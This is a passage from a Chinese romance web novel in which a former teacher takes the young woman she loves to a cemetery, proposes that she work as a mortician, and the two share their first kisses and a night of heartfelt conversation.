可一想到等会儿就能看见池柚,她又觉得,所有问题都不用着急。 有些事可以亲口问,有些事可以亲眼看。 一个小时,刚好够池柚飞回云州,也刚好够白鹭洲回家将车开到机场。 池柚从机场出口走出来后,将手机开机。她发完那几条消息就关机起飞了,还不知道白鹭洲有没有回她。 看到网络连接后对话框里弹出的【我去接你】,池柚在担忧白鹭洲休息问题的同时,心底深处又缓缓淌出了一片细密的喜悦。 她马上抬头四处寻找。 白鹭洲一直都很好找。 人群中,她的身形,她的气质,就算是陌生人的目光扫过去,也要忍不住驻留几秒。 她就站在行李传送带旁边,白风衣,白衬衫,纤瘦高挑的一个人,纯黑的头发衬着凉白的皮肤,仿佛黑夜裹着明月。 看到她,便有幸,可以在白天看到月亮。 “有行李吗?” 白鹭洲站在行李传送带旁,原来是想帮池柚拿行李。 池柚走过去,“没有行李,不过……接机的人好像不能来行李转盘这儿,你……” 白鹭洲:“我买了张便宜的票进来的。” 池柚:“就、为了帮我拿行李吗?” “不全是。”白鹭洲低眸看着池柚,鸦黑的睫毛密密垂下,“也想早点见到你。” 池柚压住怦怦乱跳的心脏,嗫嚅:“这就差几步路啊。” 白鹭洲:“没事,我有钱。” 池柚:“就算有钱,老师以前也不会这么浪费的。” 白鹭洲:“就浪费这一次。” “好了,既然没有行李,那我们就走吧。” 白鹭洲帮池柚拿过她手上的包,转身向到达大厅的出口走去。 “车停在航站楼外的停车场。” 池柚跟在白鹭洲后面,嘟囔着: “昨晚不是才见过面么……” 白鹭洲听到了,但没应声。 可能她自己也觉得,她的行为有点过分急切了。 等到了停车场,上了车,池柚系好安全带,白鹭洲才开口问:“柴以曼呢?” 池柚:“柴姐姐还在陵江,那边的工作还没做完。” 白鹭洲:“那她怎么提前放你回来了?” 池柚:“我可能帮不上什么忙了吧。” 池柚不打算马上告诉白鹭洲,关于那个已经被柴以曼作废的三个月条约。 其实她的心已经很明白了,她喜欢白鹭洲,她的基因也永远都会选择白鹭洲,白鹭洲同样深深地喜欢她。现在,她和柴以曼的课题已经彻底结束,再没有任何的束缚,她们想在一起,随时都可以在一起。 可这时间是不是有点短啊? 她总觉得,还需要一些缓冲的步骤。在两段关系的夹隙中,要分一些给告别,再分一些给开始。 要慢慢、慢慢地来。 她也总是想起,黎师姐之前老跟她说的,让白教授好好追妻火葬场一下的事。 池柚不太懂这些,不过黎青和她说的时候很认真,意思大概是不能太快回头,不然对方到手得太容易,不会珍惜你的。 但这个理论放在白鹭洲身上又好像不太合适。 池柚觉得自己还得再认真想想。 “你还记不记得,我在陵江酒吧和你说过,我之前问你什么时候回来,不是急着听你给我解释什么,而是有另一件筹备很久的重要的事,想要带你去看看。” 白鹭洲问。 “记得。” 当时要说的话太多,池柚忘了仔细问这事。 白鹭洲打转方向盘:“那今天就带你去看看。” 池柚好奇起来:“是什么?” 白鹭洲:“你看到就知道了。” 难道是什么隆重的表白现场吗? 这想法冒出来后,池柚开始有些忐忑。 她上一个问题还没想明白,不知道要不要很快和白鹭洲在一起。要是这表白现场弄得她很心动,扰乱了她的秩序,她不会一个上头就直接缴械了吧? 但没多久后,池柚就发现,好像不是她想的那样。 因为车子没有朝市里开,而是越走越荒凉,后面竟还上了山。 天色慢慢暗下来,山路没有灯,一片漆黑。这地方荒凉得很,路上连其他车都没有,就这一台孤零零的仰望U8。 而且这路,池柚总觉得越来越熟悉。 她好像来过。 当车停稳在一处黑洞洞的建筑群前,看到大门上森冷的“墓园”两个字,池柚终于想起来了。 这里是北郊墓园。 是埋葬她父亲的地方。 自从9岁那年被白鹭洲接过去后,池柚就再也没来过这里。 孙金文不是正常死亡,他是被行刑的杀人犯,池秋婉自然不会带池柚每年祭拜。池柚懂事以后,知道了孙金文做过的事有多么的颠覆人伦,她开始明白这样的死亡对孙金文来说纯粹是自作自受,于是也没有再来看望过。 好像送什么祭品来,都是对那些受害者的侮辱。 只是……白鹭洲带她来这里是做什么呢? 白鹭洲将车停好,带池柚下车。 她往墓园里走。 池柚跟在白鹭洲身后,犹豫着开口:“老师……” 白鹭洲走在阴冷的小道上,说:“我之前一个人来过这里几次了,看这里的环境,还有一些设施。我联系过墓园的负责人,详细交涉过所有该交涉的细节,你是符合要求的。” 池柚:“……什么要求?” 白鹭洲转过头看池柚:。 “成为一名入殓师的要求。” 池柚的目光凝固住。 “你说过,你不喜欢做医生,你喜欢冷冰冰的人类尸体,但你也想帮助别人。你说出国在医学专业上进行深造,不是你想要的方向。我一直记得。” 白鹭洲继续走。 “我后来想了很久,有什么职业能符合你的这些要求。想来想去,想到了‘入殓师’和‘法医’。按理说你临床医学的专业,是可以做法医的,不过法医需要考公,多一个门槛。入殓师不需要,这里的殡仪馆是民政局的下属单位,最近也正缺人,只要你愿意,可以马上入职。” “看你的想法了,如果你想做法医,不介意多一个考试,也可以。” 白鹭洲停步在一座墓碑前,弯腰随手捡起落在前面的一片枯叶,扔到旁边的树丛里。 “总的来说,毕竟是编制外,入殓师的日常工作肯定要更自由一些,你自己决定。或者,觉得这两个都不好,还是想出国,也没问题。” 池柚抿了下嘴唇,问:“老师为什么会想到,要帮我考虑这些?” 白鹭洲:“说实话吗?” 池柚:“嗯。” “你说你缺一个留下来的硬性理由。” 白鹭洲轻声回道。 “我希望,一份你喜欢的工作,可以成为这个理由。” 池柚:“那你为什么不用你自己作为理由?” 白鹭洲:“……” 池柚:“为什么不带我去那种布置好的表白现场,就和电视剧里演的那样,全是玫瑰和气球,告诉我你真的很喜欢我很爱我,很舍不得我走,用你自己让我留下?” “以感情为借口干涉你的人生职业道路选择,是卑鄙低级的行为,我不可能这样做。况且……” 白鹭洲顿了顿,别过头去,眼底黯淡。 她极轻地说出后几个字。 “我很怕,自己没有那个分量。” 池柚很感谢白鹭洲今天没有真的带她去什么布置华丽的表白现场,而是带她来了这荒凉森冷的墓园。 白鹭洲说,她一直筹备的事是为她考虑职业选择。 说不愿意用感情绑架她的人生道路。 说她怕自己没有那个分量。 每一句话,都比一个浮于表面的奢华表白,更加动人。 池柚知道,白鹭洲有这个分量的。 这分量还不是一点两点的重,已经重到可以让她想明白那个关于“缓冲时间”与“追妻火葬场”的问题。 因为她是白鹭洲。 理性忍耐得让人心疼的白鹭洲。 过去的时光里,痛苦了太久太久都得不到幸福的白鹭洲。 眼前的一切,已经足够说明,不论得到得轻易还是困难,都会纯粹地爱她、珍惜她的白鹭洲。 所以,不再忍心在时间夹隙中,以缓慢的姿态去等待未来的某个更好的时机。 也不再需要任何人来点燃什么焚化熬煎她的一场烈火。 “白鹭洲。” 池柚第一次直唤白鹭洲的大名,三个字,规规整整,一字不落。 “想被你亲,可以吗?” 第087章 今天的白鹭洲没有喝酒, 少了酒精的催动,她的理智总还是压在所有思绪的上面。尽管池柚的这句话,已经在她的心里掀起滔天巨浪。 池柚不再叫她老师, 而是叫了她的名字。 还说,想被她亲。 她用了很大的力气, 才抑制住眼底的波澜, 轻轻问一句: “合适吗?” “柴姐姐已经和我说清楚了, 她和我恢复普通朋友关系,这三个月提前结束。我没有相亲对象了,也不会再去和别人相亲。我也不出国了, 留在云州,以后就做一名入殓师。” 池柚简洁地解释明白。 “你不用忍了,我也不用忍了。可以亲我吗?” 白鹭洲开口,还想问什么。 池柚打断了她:“详细的我后面再和你慢慢解释, 就现在, 可以先亲我吗?” 白鹭洲颤抖着嘴唇,眼眶不知何时红了。 她再也说不出其他话,缓缓向池柚走了一步,右手抚上池柚的侧脸。 风会吹来雪花。 朝阳会撕开黑夜与明月的帷幔。 流动不息的爱意会携来高远天空中的白鹭, 在盘旋过四季春秋后, 终于降落汀州。 白鹭洲微微弯腰,一点一点小心地俯过去, 凝视着池柚清亮的双眼。 很慢, 很慢地凑近。 像是过了一个世纪,她的吻, 终于极轻地落在池柚的脸上。 和她以前握住池柚的胳膊一样,仿佛一朵云掠过, 力度小得几乎感觉不到。 池柚抬手环住了白鹭洲的脖子,偏过脸去,主动亲上了白鹭洲冰凉的嘴唇。 池柚闭上眼,想: 接吻原来是这样的感觉。 亲白鹭洲原来是这样的感觉。 她脑海里出现一个画面。 蔚蓝水泊环绕着的广阔沙洲,天边有十二只白鹭飞过,披着霞蔚云蒸,衔来鲜红浆果,一颗颗温柔地放在她的手心。 她低头咬一口,鲜甜的汁水溢满唇齿间,浆液不是流入她的喉咙,而是流入她的血管中。 她曾和庄元宝讲解过,人体血液要是被另一种颜料替换,颜料的颜色会渗入毛细血管,显色在皮肤表层。 红浆果液的颜色就这样从她的血管中渗出,浮现在她的脸颊,耳朵,脖子。 于是让她看起来,也像是变成了一只熟透的甜浆果。 白鹭洲的手在轻柔地揉抚池柚的侧脸,她能感觉到那里变得滚烫。 她自己也一样。 每一寸皮肤都在火烧般发烫。 这个初次的亲吻没有持续太长时间,也没有吻得很深,只是嘴唇与嘴唇的触碰。 不能再多了,再多一点,她们的皮肤会兜不住灼热的血液。 白鹭洲结束退开时,池柚抱住了她,脸深深埋进她的肩膀,白鹭洲也回抱住池柚的背,温和有力地将对方环在怀中。 就这么抱了很长时间,两个人都没说话,只是感受着这样单纯的接近。 最后,池柚打破了沉默。 她的声音闷闷地从白鹭洲肩头传来: “你到底多高啊?怎么亲我,还要弯腰呢?” 白鹭洲似是没想到,这种时候,池柚的第一句话会是说这个。 她轻笑了一下,说:“170,整。” 池柚:“嗯……” 白鹭洲:“你呢?” 池柚:“前不久才量的,161。” 白鹭洲:“好巧。” 池柚:“什么巧?” “我今年过生日后31岁,你今年22岁,我们差9岁。” 白鹭洲的手抬到池柚的脑后,揉了揉。 “我170,你161,也刚好差9厘米。” 池柚安静了片刻,说:“我还会长高的。” 白鹭洲:“不长高也没关系,161不矮的。” 池柚:“嗯……” “今晚,能不能……跟我回我家?” 白鹭洲试探着问。 “我有很多问题,都想仔细问问你。我……不是很确定,我们现在到底……” 啊,才亲过就要去白柳斋吗? 池柚觉得她现在恐怕没法正常地见白奶奶和李爷爷。 “我不想去白柳斋。” 白鹭洲:“不是白柳斋,是我自己的房子,在电视塔那边。没有别人,就我一个人住,不用怕尴尬。” 池柚:“那、有几个房间啊?” 白鹭洲:“我们可能会聊一整晚,不能跟我一起睡吗?” 池柚:“不,这……” 白鹭洲低下头,在池柚耳边轻轻道: “明天我给你做饭,好吗?” 这个贿赂条件听起来好没吸引力。池柚自己又不是不会做饭,她做的饭不比白鹭洲差。 白鹭洲:“那不然我们在这里聊一晚也行。” 就这样抱着聊,也不是不可以。 池柚:“……算了,我们还是回房间里吧。” 白鹭洲:“你同意了?” 池柚:“嗯,这儿好冷。” 白鹭洲松开了池柚,顺手脱下自己的风衣,披在池柚身上。 池柚拧了下肩,想还给白鹭洲,“我身体很健康,只是有一点点怕冷而已。老师你身体不好,别脱给我。” 白鹭洲眼底微黯:“又叫老师,刚刚不是叫我名字了么。” “我……”池柚刚刚没征得白鹭洲同意,就那样莽撞地叫了对方大名,还想着自己是不是有点没轻没重,“那我可以那样叫吗?” 白鹭洲:“当然可以。就像我希望你对我不要用敬称一样,我也希望你可以不再叫我老师。” 只是她之前一直没立场去说这件事。 池柚便开口,又叫了一次:“白鹭洲。” 白鹭洲看池柚的表情,好像有点别扭,轻笑:“没习惯吗?” 池柚:“是有点。” 白鹭洲:“你可以继续在外人面前叫我老师,只有我们两个人的时候,你再慢慢习惯。” 池柚:“好。” 说话间,两人已经走出了墓园,来到车前。 上了车,她们往市里开。 路上两个人都没怎么说话,好似都在回味刚刚在墓园发生的事。 等红绿灯时,白鹭洲的胳膊撑在方向盘上,支着下巴,望着侧边五彩缤纷的灯牌发呆。 搁在下巴上的细长手指摩挲着摩挲着,摩挲上了自己的下唇。 她抿住嘴唇,在掩盖下悄悄用舌尖扫了一下那里,然后耳根就开始发红。淡淡的粉红直蔓延到脖颈,让她的一身皮肤看起来像半山水的珊瑚莹玉。 红灯还有三十秒。 白鹭洲忽然转过头,问:“我可以再亲你一下吗?” 池柚惊讶回头,“现在?” 白鹭洲:“嗯。” 池柚:“可是红绿灯马上就要……” 白鹭洲:“还有二十一秒,来得及。” 池柚愣住,“我……” 白鹭洲用余光看着红绿灯牌,“十九秒。” 池柚:“不是……” 白鹭洲:“十七秒。” 池柚被她数得心慌,话都来不及过脑子了:“那那那那那那你快点。” 别耽误后面的车走啊。 她最怕红绿灯的时候被后车按喇叭。 白鹭洲俯身过来,单手捞住池柚的后脖颈,侧头在池柚的嘴角短促地吻了一下。 这次她稍稍用了力,离开时,还发出了不弱不响的亲吻声。 她亲完以后,池柚捂着烫红的脸缩远了,只敢看车窗外,不敢再回头。 白鹭洲在红灯倒计时结束时准点启动了车子。 “我后天也给你做饭。” 她试图为她刚刚的行为做出补偿。 池柚:“你、你这是奖励我还是奖励你自己?” 白鹭洲:“嗯?” 池柚:“你后天也给我做饭的意思,就是让我明晚也睡你家啊。” 白鹭洲:“那你明晚可以睡我家吗?” 池柚:“老师你不要得寸进尺。” 白鹭洲:“……” 池柚改正:“白鹭洲你不要得寸进尺。” 白鹭洲打心眼儿里觉得自己没有得寸进尺。 她只是想让池柚多留一晚,又没有把心里更过分的想法说出来。 到了枫江林邸,白鹭洲在车库停好车,带着池柚上楼。 进了家门后,白鹭洲给池柚拿了新拖鞋,问:“是不是没吃晚饭?我去给你做。” 池柚:“我去做吧,你这几天太累了。” 白鹭洲正想推拒,却想到除了曾经的一盘隔夜土豆丝外,自己好像还没吃过池柚做的正经饭,便点头:“那你做饭,我去熬药。” 池柚:“熬药?” 白鹭洲:“我要喝的中药。” 池柚:“你教给我,下次我帮你熬。” “行。” 白鹭洲没有和池柚争,她想到池柚帮她熬药的样子,心里裂开了一条流着暖意的缝隙,她不想用理智填补它。 白鹭洲带池柚进到她那个大得吓人的厨房,分区给池柚介绍东西都放在哪。 给池柚讲这些很方便,不需要重复赘述,只要大略说一遍,池柚就可以把这个厨房直接立体复刻进她那优越的大脑。 之后两个人站在厨房里,一个做饭,一个熬药。 池柚在做饭的间隙顺便观察了白鹭洲的熬药方法。白鹭洲知道池柚看两眼就能学会,而且池柚专心想事情的时候不想聊天,就只是背对池柚慢慢熬药,一言不发。 很奇怪,她们明明是第一次做这种类似于同居才做的事,可就是感觉相处得异常默契,完全不用再磨合什么。 白鹭洲等* 待池柚做完饭后,见她不忙了,才开口: “在我们聊更多之前,我想先问明白一件事。” 池柚端着油焖大虾,停住走向餐厅的脚步。 “什么事啊?” 白鹭洲帮着端了剩下的一盘清炒菜心和一碗鸡蛋汤。 “我们……现在算是在一起了吗?”? 池柚疑惑地歪着头想了想。 她似乎很不解白鹭洲怎么会问这个问题。 “那不然,我为什么让你亲我?” 还两次。 第088章 “这么草率?” 白鹭洲总觉得, 谈恋爱,在一起,表白, 都是绝对轰轰烈烈的事。像火戳,如钢印, 狠狠在生命记忆里烙上一笔才对。 “草率?” 池柚对这种事的理解和白鹭洲是不一样的。或者说, 她跟世界上大多数正常人都不一样。 普通人应该会和白鹭洲一个想法, 越是重要的事,越需要仪式感。仪式弄得越隆重深刻,心里越安宁。因为真的太在乎太重视。 对于池柚来说, 仪式不仪式她不懂,她就是觉得:我都允许咱们身体器官互相亲密触碰了,我也可以让你的唾液细胞沾到我的嘴部黏膜上了,这还不足以表达我的态度么? 白鹭洲说:“我还没有正式向你告白, 请求你做我的女朋友。” 池柚不以为意:“那你现在问吧。” 不就一组问答句吗, 要是白鹭洲那么在意,她配合就好。 “就这样,你端着油焖大虾,我端着炒菜心和鸡蛋汤问?” 白鹭洲想到很多年后的事。 她知道现在想这些太早了, 可她就是忍不住想:往后数十年, 她们要是过纪念日,每次回想起来的都得是这个场景? 而且很多话好像还没说开, 没有说清楚。是不是……应该先经过互诉衷肠这个环节, 缓几天,再隆重地做个准备, 认真地确定要在一起这件事? “那好吧,我们现在没有在一起。” 池柚不理解, 但她尊重白鹭洲。 “你觉得合适的时候和我说,通知我一下,我们要在一起的事。” 通知…… 白鹭洲不禁轻笑,“不如改天我拜托奶奶看看老黄历,选个黄道吉日。” 池柚:“好啊,都可以。” 白鹭洲走到桌边,放下炒菜心和鸡蛋汤,“开玩笑的,你还真应。” 池柚也走到餐桌这边,把油焖大虾放到靠近白鹭洲的那边,“我都没关系,你想要的,我都答应你。” ——只要是你喜欢的,想要的,我就给你。 池柚真的将这个内核从始至终地贯穿着。 “好,不过今天也是一个值得纪念的日子。”白鹭洲坐下来,也顺手帮池柚拉开了椅子,“第一次亲到你,你要不要给这个纪念日起个名?” 池柚坐下拿起筷子,想了想,说:“就叫‘油焖大虾日’吧。” 白鹭洲张了张嘴,欲言又止。 “……好吧。” 她妥协了。 “油焖大虾日就油焖大虾日吧。” 池柚这吊诡的起名方式也真是从始至终地贯穿着。 白鹭洲吃肉不吃皮,包括虾的壳。池柚记得。她自己浅吃了两口菜垫肚子后,就一直在帮白鹭洲剥虾。 白鹭洲想制止池柚,但池柚有很充分的理由。她说白鹭洲那么漂亮的手,沾上油的话,跟在《蒙娜丽莎》上泼油漆没两样。 白鹭洲失笑。 白鹭洲今天真的笑了很多次。 池柚的手艺很好,她知道白鹭洲在养病,吃不了太油辛刺激的味道,所以大虾的调味主要靠番茄酱。剥去虾壳后,重调料味和油都被连带着一起去掉,留下的虾仁味道刚好。 白鹭洲吃得很舒适,虾很大,往常夜晚她吃不了太多东西,今天也吃了足足七只。 清炒菜心也好吃,吃虾的间隙里来两口,清爽解腻。饭后再喝小半碗鸡蛋汤,胃里暖暖的,很舒服。 吃完饭,白鹭洲拿来干净的新睡衣和洗浴用品,让池柚去次卧的浴室,她自己回主卧浴室。 洗漱完毕后,白鹭洲把池柚叫到自己的房间,两个人放松地靠在床头,开始聊天。 “你的卧室好像博物馆。” 池柚环顾四周。 “全是灰色和白色,阳台上的花都是塑料的。” 白鹭洲解释:“因为我不是天天回来这边,有时候住在学校的教职工公寓,有时候住在白柳斋。如果养真花,可能没两天就死了。” 池柚:“看着太冷清了。” 白鹭洲:“我明天去买几盆真花吧,你喜欢什么花?” 池柚略加思索,说:“香的。” 白鹭洲:“香的?” 池柚:“嗯,香香的。” “好。” 白鹭洲含着笑,低头摆弄了一下真丝睡衣的领口。 “我买花的时候,会记得凑过去好好闻一闻。” 池柚意识到自己一开场就跑题了,于是开始说正事:“凌晨你走之后,我中午才醒,然后就去见了柴姐姐。” 白鹭洲听到池柚提起柴以曼,唇边的笑僵了一下。 她继续摆弄自己的领口,“嗯,然后呢?” 池柚:“她说她看见昨晚你来了,看见我把你带上楼,也看见你凌晨才走。” 白鹭洲:“……是吗。” “她说,她那一刻觉得自己好像一个坏人,在阻挡你和我接近。” 池柚说起这些事,心头又漫上对柴以曼的愧疚,还有酸涩。 “她说她知道,其实她跟我没有什么可能了,而且她快要真的喜欢上我了,她不想明明知道结果还坚持走错的路。所以,她把这个还给了我。” 池柚从床头柜上的包里取出檀木手串,递给白鹭洲看。 白鹭洲接过来,沉默地拿在指尖凝视。 “我后来想想,其实还有很多话,想对她说。” 池柚抱住胳膊。 “只是当时不知道该怎么开口,她赶着去饭局,又撵我赶紧回云州。我觉得……我好像一开始就做错了,我应该早点看清楚,我根本没办法喜欢上别人这个事实。我不该抱着尊重她的想法答应给她三个月的时间,本来是好意,可是现在想一想,给了人家希望,又让人家意识到根本没可能,我……我真的好对不起她……” “柴以曼是个很好的人,你也是。这件事里谁都没有错,不要自责。” 白鹭洲侧目看向池柚。 抱着善意造成的阴差阳错,善良的人总会谅解。 柴以曼赌输了,但她也心甘情愿地谅解了。世间能量守恒,命运在此处亏欠于她的,日后定会以另一种方式弥补给她。 就像白鹭洲自己。 在遇到池柚以后,她也开始相信,世间能量守恒这个道理。 前半生的太多孤独单薄,命运的太多苛待亏欠,最后,还是补偿给了她一个这么好的池柚。 这样一个爱人,足以慰藉平生所有痛苦。过去的,未来的,一生一世,她都不会再觉得自己有哪里是不幸的了。 “不过……如果真的有很多想对她说的话,可以过几天再去和她说吗?” 白鹭洲将檀木手串放到自己这边的床头柜上,离池柚远远的。 “你这几天,只和我待在一起,可以吗?” 池柚:“为什么?” “虽然她人很好,我也明白你们两个之间没什么其他情愫,但我……” 白鹭洲顿了顿。 “我看到你站到别人身边,就吃醋。” 她不该这么直白地说出“吃醋”这种字眼,她的性格,就算说,也得要婉转迂回一些才对。 可她又怕池柚那个情商,不能理解到位她的意思。 还是说明白一点好了。虽然这话说出口,她难为情到需要清咳两声来掩饰尴尬。 池柚睁大眼睛:“你会吃醋啊?” 白鹭洲:“嗯。” 池柚:“你吃过醋?” 白鹭洲:“吃过,很多次。” 池柚起了兴趣,坐起来了一些,向白鹭洲倾身。 “你都吃什么醋了?我怎么从来没发现过?” 白鹭洲别过头,“能不问这件事吗。” 池柚的眉毛耷拉下来,支吾:“可……可我真的想知道啊。” 白鹭洲听着那可怜巴巴的语气,心软了。 但她也要为自己讨一点福利回来才行。 “你过来,让我抱着。” 白鹭洲向池柚打开了右臂。 “我抱着你说。” 白鹭洲又散发出了她那独属于“老师”职业的特性,淡淡地说几个都算不上指令的字,就让人不由自主地顺着她的话去行动。 越过她外形带来的柔弱感,直接被她细微言行中透出的气场所掌控。 池柚红了耳朵,埋着头踌躇半晌,一点点蹭过去。 蹭到白鹭洲身边,她撩起自己的长发拂到胸口前,缩着肩膀,小鸵鸟似的谨慎地轻轻靠在白鹭洲的肩头。 也没敢靠实,还是把重量中心僵硬地放在自己的脊骨上。 白鹭洲收紧胳膊,揽住池柚,不轻不重地一带,就让池柚把全身重量靠向了自己。 池柚的身体很软,骨头在她的皮肤里像是没有连接点,随便搂抱过去,她都会嵌合地填满臂弯的每个角度。 也很温暖,雪地一样的细白皮肤,又让人想凑过去,闻闻是不是有花露的清甜香气。 白鹭洲忽然就什么都忘了,眼里只有怀中软软乖乖的池柚。 她垂低眼眸,凝视着池柚的眼睛里再度燃起火焰。 慢慢地,慢慢地,靠近过去。 池柚发觉白鹭洲离她越来越近,连忙捂住自己的嘴,沉闷的声音从掌心里嗡嗡传出: “你又想亲我?” 白鹭洲低哑地“嗯”了一声。 “亲太多了,白鹭洲。” 今晚第三次了! 白鹭洲抿了一下嘴唇,目光还是凝在池柚的脸上,一眨不眨。 “我也不知道是怎么了,你……帮我看看,我是不是,有什么皮肤饥渴症?” 我……的……天。 池柚震惊地看着眼前的人。 这么多年保持着不跟自己有任何肢体接触的白鹭洲,居然说,她有皮肤饥渴症。 白鹭洲也是第一次有这种感觉,她也不明白,为什么以前独自生活那么多年都没觉得哪里难耐,如今面对池柚,她却会有这么强烈的想要亲近一个人的欲望。 就像以前手背深处发痒一样,她现在整颗心都在发痒。 对,是痒。 之前碍于各种原因,她想亲近却不能亲近时,更多的是疼。想到自己没有资格,没有身份,没有立场,心底的疼痛总会覆盖在所有欲望之上。 可如今没有了那些障碍,池柚就在她身边,疼痛消去,剩下的便是“痒”。 而“痒”比“疼”更难忍。 因为疼只能忍,没有别的办法可以缓解它。但是痒,只要抓一下,就可以马上释放。就像蚊子咬的包,只要伸手抓一抓,就这么简单的动作,便可以立即舒畅。 如此刻。 只要她靠过去,吻一下池柚,就这么简单的一下,她的痒就可以马上止住。 怎么忍? 解决方式越轻易,越难忍。 “你不喜欢和我接吻么?” 白鹭洲见池柚一直捂着嘴,眼里的波纹皱了起来。 “我……没有不喜欢啊。” 池柚红着脸,不想承认自己是太害羞了,索性把手放下来,心一横。 “反正、反正是器官部位的碰撞而已,你要亲就亲吧。” 白鹭洲沉默片刻,问:“那这次,我可不可以申请多一个器官加入碰撞?” 池柚没懂,“什么意思?” 白鹭洲声音很轻:“我想张嘴。” 池柚这下懂了。 她不禁抬起刚刚才放下的手,捂住滚烫的脸。 白鹭洲看她没有拒绝,知道这是默认。于是耐心地扶正池柚,温柔地将池柚的手从脸上拉下来,低头,吻过去。 第一次亲吻只是单纯的嘴唇相贴,第二次红绿灯前,只有一秒的短暂接触。这一次,她消去了初次的紧张和二次的短促,耐心地,仔细地,一点点探索。 最先也是简单的嘴唇贴合,轻柔地碾转,放大的感官体验甚至能感觉到唇纹的交错与相接。 然后张开一点唇缝,让湿润气息透过去,先叫对方适应自己的味道。 散发着花香的牙膏味,夹杂些许浸入舌尖的中药清苦。 那苦却不会带来困扰。 如咖啡里的清涩,茶水里的回甘,解腻,惹人上瘾。 白鹭洲感觉到池柚也心动了。 池柚的手慢慢攀上了她的腰,紧紧搂住了她,开始试探着回吻她。 之后,她申请要加入的那位新器官成员,便顺理成章地参与进亲吻中。 “……这是虎牙吗?” 白鹭洲吻着池柚时,模糊地问。 池柚将白鹭洲的舌尖顶回去,含糊的声音里带了点被软糯浸过的嗔怒。 “不要舔那里。” “嗯,不舔。” 白鹭洲淡淡地答应。 那就去触碰该触碰的,同样柔软的地方。 很新奇的感觉,白鹭洲找不出以前经历过的任何一个事物来做比喻。说它像云的碰撞,太缥缈了。说它像两条蛇的纠缠,太冰冷了。 她只有一个想法: 池柚真的是甜的。 真的可以刚刚好,中和掉那些浸入她细胞里的苦。 白鹭洲接吻起来就像不用呼吸一样,但池柚需要呼吸。好久以后,池柚推开白鹭洲,喘着气说:“我的脑神经细胞和肺气管快要生物学死亡了。” 白鹭洲:“听不懂。” 池柚:“我要被憋死了。” “哦……”白鹭洲没有任何歉意地敷衍道,“抱歉。”她还在盯池柚的嘴。 “我们现在没有在一起,你还这么亲我,你没有道德,白鹭洲。”池柚认真地梳理这个逻辑。 白鹭洲:“没有在一起?” 池柚:“你不是说要选黄道吉日表白么?” 白鹭洲靠到背后的软枕头上,想起来了关于自己那些仪式感的事。 “看来,我得挑一个最近的黄道吉日了。” 伸手就能抓却不能抓的蚊子包,真的很难忍。 池柚等脸上热潮褪去一些,又温顺地趴回白鹭洲的怀里,漫不经心地咕哝:“我说你没有道德,你也不生气。” 白鹭洲:“我可能本来就没什么道德吧。” 池柚有点惊讶,因为白鹭洲看起来是世界上最正派最有道德的人了。 白鹭洲:“我要是那么有道德,会和自己的学生做这些事吗?” 池柚纠正:“曾经的学生。” 白鹭洲:“对我来说没区别。” 没区别啊…… “那你的道德可能真的有点问题。” 池柚下结论。 “你能这样想,也挺好。”白鹭洲浅浅一笑,“我以后再做其他事,就不用顾忌太多了。” 池柚愣了愣,“我觉得你好陌生,你不是我印象里的老师了,你变了白鹭洲。” “人都是会变的。” 白鹭洲收紧了搂着池柚的胳膊,长长地叹口气。 沉默须臾。 “我很庆幸,我能有这个机会,变一个人。” 池柚听出了白鹭洲在短暂沉默后,这句话里隐藏的情绪。 她不再打趣她,只是往她怀里更深地窝了窝。 “你随便变吧。怎么变,我都在你身边。” 池柚轻声说。 “那我先和你说一声‘谢谢’啊。” 白鹭洲语气稍顿。 “谢谢你,这么坚定地选择我。” 被紧紧抱着,池柚看不见白鹭洲的表情,但她听见了白鹭洲谈及“选择”那一句话时,声音里渐渐染起的哽咽。 池柚心里一疼,试图用轻松的语气安抚她:“这么客气的吗?” 白鹭洲:“因为很多事情,都多亏你。” 池柚:“多亏我?” 白鹭洲的另一只胳膊也环过来,整个人包裹住池柚。 “多亏你,我不用等到下辈子才能过上地下室积木那样的生活,这辈子就能过上了。也多亏你,我现在总算会慢慢试着表露情绪,允许自己哭,允许自己笑,也允许自己贪心。我以前从来都不知道,这样活着,居然这么的轻松。生活……原来真的可以这么容易,这么开心。” 她嗓音里的哽咽愈来愈重。 然后,有温热的眼泪流进了池柚的发间。 “这些都多亏你。” 池柚忍不住吸了吸鼻子。 白鹭洲沉默少顷,下巴埋进池柚的头发里,一字一句地问: “你永远都不要离开我,可以吗?” 在这一辈子结束之前。 在脑神经死亡和生物学死亡、或者任意一种死亡之前。 都只坚定地选择我一个人。 可以吗? 池柚的眼睛也湿了。 她从不怀疑,在人生的任何一个时间节点,只要白鹭洲开口问她要,她就会毫不犹豫地把她拥有的血淋淋的、活生生的一切,全部掏出来,割给白鹭洲。 包括她自己。 她的承诺,她的一生。 “好。” 池柚答应她。 答应的那一瞬间,池柚也明白了,自己给出去的除了承诺,还有什么。 ——拿好了喔,我这颗怪物一样,不通人情世故、不懂人伦道德,却真的很爱很爱你,爱了十三年的心。 白鹭洲,拿好它。 别嫌重。 别嫌脏。 第089章 到最后, 她们还是没来得及聊白鹭洲具体吃了哪些醋的问题。 因为聊完已经太晚了,白鹭洲这几天本来睡眠就不够,池柚不忍心再拖着她, 不仅不再追问,还催着她睡觉。 “不过, 明天可一定要和我说啊。” 池柚在白鹭洲睡着之前叮嘱。 亲也亲了, 抱也抱了, 该答应的事也答应了,眼泪都帮她仔仔细细擦干净了,这人可不能扭脸反悔。 “嗯, 明天带你去买衣服。” 白鹭洲困顿地答了一句牛头不对马嘴的话。 池柚本来放轻的声音都急得加重了些许:“我说让你告诉我你吃醋的事。” “我听见了,前面那个‘嗯’就是回答。”白鹭洲合上眼睛,将怀里的池柚又拉近了一点,“后面是另外告诉你的, 明天想带你去买衣服。” 池柚:“我不缺衣服, 回家拿就好了。” 白鹭洲:“那也要买。” 池柚:“为什么?因为柴姐姐前两天给我买过衣服吗?” 白鹭洲:“嗯。” 这个人真的…… 直接现场表演一下是怎么吃醋的吗? 池柚欲言又止。 但池柚也没再多说什么,因为白鹭洲“嗯”完,就睡着了。 一夜安睡。 两人都得了久违的好眠。 次日,白鹭洲睡了个懒觉。 她醒来的时候都已经十点钟了, 今天没有工作, 也不用去白柳斋看望爷爷奶奶,难得一天的闲时光。 睁眼时, 想到这一天还有池柚陪伴, 大脑的情绪反射区便更加舒服。 她赖了会儿床。 床上已经没有了池柚的身影,但白鹭洲也不着急, 因为她能听见卧室门外池柚在拖地的细微响动。 安全感。 她最渴望又难以得到的安全感,此时就具象地发生在这间屋子里。 池柚起得早, 不仅拖了地,还做好了早餐,熬好了中药。 她涮好拖把后,去厨房看炉子上温着的药的情况。正看着,听到了白鹭洲趿着拖鞋从卧室里走出来的声音。 